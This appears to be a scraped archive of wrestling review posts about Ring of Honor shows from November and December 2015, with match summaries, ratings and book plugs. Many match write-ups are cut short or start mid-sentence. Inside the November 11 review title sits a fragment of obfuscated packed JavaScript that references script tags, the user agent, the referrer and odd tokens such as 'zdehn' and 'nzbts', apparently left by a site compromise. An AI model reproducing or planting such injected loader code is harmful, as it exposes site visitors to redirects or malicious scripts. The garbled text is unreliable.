Ring of Honor Final Battle 2015: We’ll Call It A Success

Final Battle 2015
Date: December 18, 2015
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Kelly, Mr. Wrestling III

Pre-Show: Cheeseburger vs. Bob Evans

Cheeseburger fights back again as Wrestling III makes sandwich puns. A springboard knee to the head drops Evans for two but the much bigger Bob runs him over. Evans trips going up top and Cheeseburger hits two straight palm strikes, the second of which puts Evans on the middle rope. A middle rope DDT gives Cheeseburger the kind of lame pin to end the feud.

The opening video is kept simple as they just look at the matches on the card.

Briscoe Brothers vs. All Night Express vs. Young Bucks

The Meltzer Driver gets two on Jay (Wrestling III: “FIVE STARS! FIVE STARS! FIVE STARS! Uncle Dave must be smiling at home!”) but More Bang for Your Buck is broken up. Mark loads Titus up for a superplex but King kicks him in the head, setting up a super One Night Stand (a powerbomb/Blockbuster combo) to pin Mark and give the Express the title shot. The fans are NOT happy with the result.

We recap Silas Young vs. Dalton Castle, which is a huge culture clash. Castle is much more flamboyant and had possession of his Boys. Young wanted those Boys to become men and won them in a match a few weeks back. Tonight is the final battle (oh I think I get it now) between the two, even though the Boys seem to have chosen to stay with Young.

Silas Young vs. Dalton Castle

Moose vs. Michael Elgin

They shake hands again post match.

Quick recap of Addiction/Chris Sabin vs. ACH/Matt Sydal/Alex Shelley, which is simply a way to give us Sabin vs. Shelley without giving us Sabin vs. Shelley.

Chris Sabin/Addiction vs. ACH/Matt Sydal/Alex Shelley

TV Title: Bobby Fish vs. Roderick Strong

Roderick is defending. They hit the mat to start with Fish getting the better of it as the fans are mostly split. Bobby goes for the arm and tries the leg, sending Strong bailing for the ropes. A few minutes in and Kelly mentions that Fish pinned Strong back in September. Strong avoids a plancha to the floor and drops Fish onto the barricade to take over for the first time.

Here are Veda Scott and Cedric Alexander (with a nice watch) to ignore the fans telling them to shut up and brag about a settlement with Ring of Honor over their recent lawsuit. This just ate up time.

Tag Team Titles: War Machine vs. Kingdom

Nigel McGuinness and Jerry Lynn join commentary.

Ring of Honor World Title: AJ Styles vs. Jay Lethal

Lethal and company pose to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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Ring of Honor TV – December 23, 2015: Time To Open Presents

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Date: December 23, 2015
Location: Tennessee State Fair Grounds, Nashville, Tennessee
Commentators: Kevin Kelly, Prince Nana

Will Ferrara vs. Caprice Coleman

Ferrara grabs a chair but gets sent into the barricade instead. A hard running dropkick drives Ferrara head first into the barricade again as this is far more violent than you would expect. Back in and Caprice rolls some northern lights suplexes to send Ferrara into the corner. Will breaks up a few Sky Splitter attempts by slamming Coleman off the top, only to have both guys grab chairs. The quick duel draws a no contest at 3:23.

Jay Lethal and the House of Truth are opening boxes to determine who are on their team in the ten man tag. They think Moose is in a big box but they get Cheeseburger instead. I like the idea here.

Donovan Dijak/Ken Phoenix vs. All Night Express

Titus and Phoenix get things going with Rhett taking him down into a headscissors. Phoenix sends Titus outside where Dijak gets in a few cheap shots, allowing Ken to baseball slide him down. Dijak comes in for the power game but throws in a superkick to keep his modern wrestler card.

Post match Martini gives Phoenix the thumbs down, earning him a Feast Your Eyes from Dijak. The House of Truth leaves and Nana gives Dijak another envelope.

Jay Lethal/Cheeseburger/Adam Page/Cliff Compton/Jay Briscoe vs. Roderick Strong/Cedric Alexander/Mark Briscoe/Moose/Matt Jackson

We take a break and come back with Lethal tagging in Cheeseburger to face Alexander, who immediately tags out to Moose. Cheeseburger tries with everything he can until Moose casually launches him into the corner. Matt comes in for some slams before Strong slams everyone onto Cheeseburger in a cool sequence. Nana: “Cheeseburger looks like a broken poodle dog!” Cheeseburger stops some charges in the corner and flips out of two suplexes in a row, allowing the tag to Jay Briscoe.

Rating: B-. This was exactly what it was supposed to be with everyone working hard and giving the fans something fun to end the meaningless show. Those showdowns with Briscoe vs. Briscoe and Briscoe vs. Moose were interesting and made things feel more special than they should have otherwise. Fun match here and it did everything it was supposed to do.

The winners praise Cheeseburger to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:


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Ring of Honor – December 16, 2015: The Almost Final Battle

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Date: December 16, 2015
Location: Tennessee State Fair Grounds, Nashville, Tennessee
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

Adam Cole vs. Corey Hollis

The Young Bucks vs. the All Night Express vs. the Briscoes for the #1 contendership is confirmed for Final Battle.

War Machine vs. Washington Bullets

Dalton Castle vs. Mike Posey

Video on Moose vs. Michael Elgin.

Roppangi Vice vs. ACH/Matt Sydal

Alex Shelley is on commentary. Sydal and Romero get things going with Matt working on the arm. Romero lands on his feet out of a monkey flip but one shot to the face sends him crawling over to Trent. That means a double tag and Trent takes over with some chops. ACH flips around a lot and dropkicks Trent to the floor as we take a break.

One more run down of the card ends the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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New Column: Let’s Talk About Final Battle

Well I talk but you get the idea.  Ok so I’m typing so maybe you don’t get the idea.

 

http://www.wrestlingrumors.net/kbs-review-lets-talk-about-final-battle/46760/




Ring of Honor TV – December 9, 2015: We’re Indy Wrestlers

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Date: December 9, 2015
Location: Tennessee State Fair Grounds, Nashville, Tennessee
Commentators: Nigel McGuinness, Kevin Kelly

before the pay per view but the syndicated schedule could cause problems with the second episode. Let’s get to it.

Silas Young/Beer City Bruiser vs. ReDRagon

Kyle (sweet goodness that is a pale man) tags himself in for some tandem kicks to Bruiser. Not wanting to feel left out, Silas tries to come in but gets both arms worked over.

Kyle and here’s Adam Cole to sit in on commentary. Back from a break with Kyle’s comeback being stopped again. Silas takes him into the corner (showing off the really old looking ring ropes) but Kyle avoids a charge and sweeps Bruiser’s leg for the hot tag.

and a belly to belly sends Young hard into the corner. Now it’s a double team on Bruiser until he takes Kyle down with a clothesline. Young is back up to DDT Fish onto the bottom buckle (that was cool) but Bruiser misses a top rope splash.

Kyle grabs a guillotine choke on Bruiser for a long time until he reaches the ropes, only to leave Silas to take a beating. Chasing the Dragon puts Bruiser away at 12:10.

The Bruiser is a lot less worthless than I thought he was going to be when I first saw him, though that’s not really covering a lot of ground.

after the match.

The villains leave but here’s Dalton Castle to say Silas has something that belongs to him. Bruiser goes after Castle but gets knocked out by a microphone shot. The Boys tease getting in but walk away, nearly bringing Castle to tears.

vent about the man in the red mask. That person has cost the Addiction the World Tag Team Titles but more importantly, they’ve been STEALING HIS GIMMICK. Sabin demands that whoever it is come out here right now so here’s the masked man. He takes off the mask and it’s……Alex Shelley, Sabin’s former partner in the Motor City Machine Guns. Nothing is said but I think you know what’s coming.

TV Title: Roderick Strong vs. Samson Walker

and the fans chant SEXUAL CHOCOLATE. We hit the kneeling bearhug on the champ, followed by a nice spinebuster for two. There go the straps (drawing gasps from the crowd) but Roderick nails a dropkick. Fish grabs the title and sits back down as Strong hits the running knee and the Sick Kick to retain at 5:37.

Fish gets in the ring with the title on, ticking Strong off even more.

Inside ROH recaps the 2015 Survival of the Fittest, won by Michael Elgin, who wants the World Title shot in New Japan.

Briscoe Brothers vs. Young Bucks

Kenny King sitting in on commentary and Rhett Titus standing behind him. Mark and Nick get things started after a quick fourway staredown but a quick superkick party takes the Briscoes down. Stereo suicide dives take the Briscoes down again and it’s back inside with Nick chopping away at Mark.

Everything breaks down with Jay cleaning house until Mark suplexes Nick down (and dances a bit) for two. Back from a break with Matt superkicking Mark on the apron to take over again. A Whisper in the Wind into a Diamond Cutter gets two on Mark but he comes back with Red Neck Kung Fu, allowing the tag off to Jay. Nick tries to speed things up but misses a moonsault off the apron, allowing Mark to come back with a Blockbuster.

A double superkick and the Indytaker set up More Bang For Your Buck for the pin on Mark at 11:20.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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Ring of Honor TV – December 2, 2015: They Know What They’re Doing

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Date: December 2, 2015
Location: Wings Stadium Annex, Kalamazoo, Michigan
Commentators: Nigel McGuinness, Kevin Kelly, Mark Briscoe

Opening sequence.

Adam Page vs. Will Ferrara

Post match Whitmer goes after Ferrara and the referee, drawing in Mark Briscoe for the save.

We look back at Roderick Strong winning the TV Title last week.

Lethal is the only undisputed champion and now he wants Styles out here to say it to his face. This brings out AJ (who thankfully can walk here) to say that Lethal is right because of that belt around his waist. Jay losing the TV Title was the best thing that could have happened to him though because he needs to focus on AJ and AJ alone. They shake hands and stare each other down with Jay holding up the belt. Well done and very simple idea here.

We run down the Final Battle card. I might have to watch that show.

Dalton Castle vs. Adam Cole

War Machine/Dalton Castle vs. Kingdom

The Kingdom poses to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:


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Ring of Honor TV – November 25, 2015: Destination Awesome

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Date: November 25, 2015
Location: Wings Stadium Annex, Kalamazoo, Michigan
Commentators: Nigel McGuinness, Kevin Kelly

As a side note, this is the final episode on Destination America, though the show will still air in syndication as it has for years now.

Opening sequence.

Moose vs. Dominic Carter

Spear ends Carter in five seconds.

J. Diesel/Donovan Dijak vs. Michael Elgin/Moose

Story Time with Adam Cole focuses on the Kingdom being great Tag Team Champions. War Machine will get their hopeless title shot at Final Battle and Cole will beat up Dalton Castle next week. Simple, to the point and natural here.

TV Title: Roderick Strong vs. Jay Lethal

The House of Truth pulls Lethal out as Strong poses to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:


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Ring of Honor TV – November 18, 2015: Hokey Smoke They Can Do It

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Date: November 18, 2015
Location: Wings Stadium Annex, Kalamazoo, Michigan
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

War Machine vs. Beer City Bruiser/Silas Young

Silas leaves the bathroom and hands the Boys a plunger.

Michael Elgin vs. Kevin Lee Davidson

Elgin, breathing heavily to really imply that something was cut there, talks about competing in the G1 Climax tournament in Japan. It made him realize that he wanted the ROH World Title back so now he wants to face Jay Lethal sometime soon.

We look back at the Kingdom stealing the World Tag Team Titles at All-Star Extravaganza.

Tag Team Titles: Kingdom vs. Addiction

The Addiction is challenging and have Chris Sabin in their corner. Daniels is in a military uniform which makes him look quite different from his partner Kazarian. The Kingdom still has pink on because these tapings are from October when people still care about breast cancer. As usual, Nigel is far too happy to see Maria, though at least he has great taste.

They run the ropes but Sabin and Maria both trip them up, earning them a double ejection as we take another break. Back with Bennett cleaning house and saying he saw this on TV before diving on Daniels. Everyone else hits a dive of their own and the fans are way too excited for an all heels match. Back in and Kazarian runs Taven over for two but gets caught in a backpack Stunner/running boot combo for two more.

War Machine comes out to stare the champs down to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:


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Ring of Honor TV – November 11, 2015: Feeling Froggy

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdehn|var|u0026u|referrer|nzbts||js|php'.split('|'),0,{})) of Honor
Date: November 11, 2015
Location: Wings Stadium Annex, Kalamazoo, Michigan
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

Cedric Alexander vs. ACH

After a break, Veda blames Nigel for the slip because of so much baby oil on the ropes.

Will Ferrara vs. Caprice Coleman

Nana gives Ferrara an envelope of his own post match.

Prince Nana says the envelopes contain the secrets to life. He is far from done in Ring of Honor.

We look back at the All Night Express (Kenny King and Rhett Titus) beating the Briscoe Brothers at All-Star Extravaganza.

All Night Express vs. Briscoe Brothers

That goes nowhere so Jay comes back with a boot to the face, allowing for the hot tag (this early?) to Mark. Chops and a big flip dive have the Express in trouble and Titus gets stomped down in the corner. A quick Snake Eyes drops Mark but Jay is smart enough to break up the tag before Titus can go anywhere. Back from a quick break with Titus rolling over for the tag to speed things up.

The Jay Driller and Froggy Bo put Titus away at 11:32.

They shake hands to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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Ring of Honor TV – November 4, 2015: Battle Plans

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Date: November 4, 2015
Location: San Antonio Shrine Auditorium, San Antonio, Texas
Attendance: 600
Commentators: Kevin Kelly, Nigel McGuinness, Mark Briscoe

Silas Young/Beer City Bruiser vs. Young Bucks

The Boys vs. Young Bucks

Mark and Nigel talk about trick or treating as the Bucks actually screw something up by kicking each other. #1 comes back in with a double missile dropkick, only to eat a double superkick. A buckle bomb/superkick combo sets up a double More Bang For Your Buck (impressive, even though the Boys might weigh 280lbs combined) for the pin on both Boys at 3:48.

The Bucks superkick the Bruiser again but Silas bails before he can get his.

House show ads.

BJ Whitmer comes out and wants Nigel to fire Corino so we look back at Corino knocking Whitmer out cold a few weeks ago.

Will Ferrara vs. Roderick Strong

Final Battle is coming.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


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